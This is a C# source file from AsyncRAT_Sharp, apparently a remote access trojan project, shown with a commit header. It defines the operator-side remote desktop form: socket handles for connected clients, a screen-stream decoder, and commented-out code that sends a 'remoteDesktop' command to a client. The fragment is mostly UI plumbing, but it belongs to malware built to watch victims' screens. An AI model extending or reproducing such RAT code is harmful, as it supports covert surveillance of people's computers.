NYAN CAT 9f269b053d Update
fixed remote desktop
fixed server and client stabilty
minor bugs fixes
2019-04-29 19:35:44 -07:00

59 lines
1.8 KiB
C#

using StreamLibrary;
using StreamLibrary.UnsafeCodecs;
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Diagnostics;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using AsyncRAT_Sharp.Sockets;
using AsyncRAT_Sharp.MessagePack;
using System.Threading;
namespace AsyncRAT_Sharp.Forms
{
public partial class FormRemoteDesktop : Form
{
public FormRemoteDesktop()
{
InitializeComponent();
}
public Form1 F { get; set; }
internal Clients C { get; set; }
internal Clients C2 { get; set; }
public bool Active { get; set; }
public int FPS = 0;
public Stopwatch sw = Stopwatch.StartNew();
public Stopwatch RenderSW = Stopwatch.StartNew();
public IUnsafeCodec decoder = new UnsafeStreamCodec(60);
private void timer1_Tick(object sender, EventArgs e)
{
if (!C.ClientSocket.Connected || !C2.ClientSocket.Connected ) this.Close();
}
//private void RemoteDesktop_Activated(object sender, EventArgs e)
//{
// //if (Active == false)
// //{
// // Active = true;
// // MsgPack msgpack = new MsgPack();
// // msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
// // msgpack.ForcePathObject("Option").AsString = "true";
// // ThreadPool.QueueUserWorkItem(C.BeginSend, msgpack.Encode2Bytes());
// // decoder = new UnsafeStreamCodec(60);
// //}
//}
//private void RemoteDesktop_Deactivate(object sender, EventArgs e)
//{
// // if (Active == true) Active = false;
//}
}
}